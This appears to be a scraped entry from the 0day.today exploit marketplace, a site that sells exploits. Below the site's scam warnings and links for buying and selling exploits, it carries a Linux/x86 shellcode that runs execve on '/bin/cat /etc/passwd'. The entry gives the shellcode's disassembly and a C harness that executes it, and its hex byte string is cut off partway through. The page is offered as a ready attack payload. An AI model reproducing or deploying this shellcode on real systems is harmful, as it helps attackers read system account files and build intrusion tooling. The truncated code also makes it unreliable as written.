0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux/x86 - Execve /bin/cat /etc/passwd Shellcode (37 bytes)
/* # Linux/x86 - execve /bin/cat /etc//passwd shellcode (37 bytes) # Author: Anurag Srivastava # Tested on: i686 GNU/Linux # Shellcode Length: 37 #Greetz - Manish Kishan Tanwar,Kishan Sharma,Vardan,Himanshu,Ravi and Spirited w0lf Disassembly of section .text: 08048060 <_start>: 8048060: 29 c9 sub ecx,ecx 8048062: 51 push ecx 8048063: 68 2f 63 61 74 push 0x7461632f 8048068: 68 2f 62 69 6e push 0x6e69622f 804806d: 89 e3 mov ebx,esp 804806f: 51 push ecx 8048070: 68 73 73 77 64 push 0x64777373 8048075: 68 2f 2f 70 61 push 0x61702f2f 804807a: 68 2f 65 74 63 push 0x6374652f 804807f: 89 e1 mov ecx,esp 8048081: 6a 0b push 0xb 8048083: 58 pop eax 8048084: 6a 00 push 0x0 8048086: 51 push ecx 8048087: 53 push ebx 8048088: 89 e1 mov ecx,esp 804808a: cd 80 int 0x80 ===============POC by Anurag Srivastava========================= */ #include<stdio.h> #include<string.h> unsigned char code[] = \ "\x29\xc9\x51\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x51\x68\x73\x73\x77\x64\x68\x$ main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); } # 0day.today [2024-09-28] #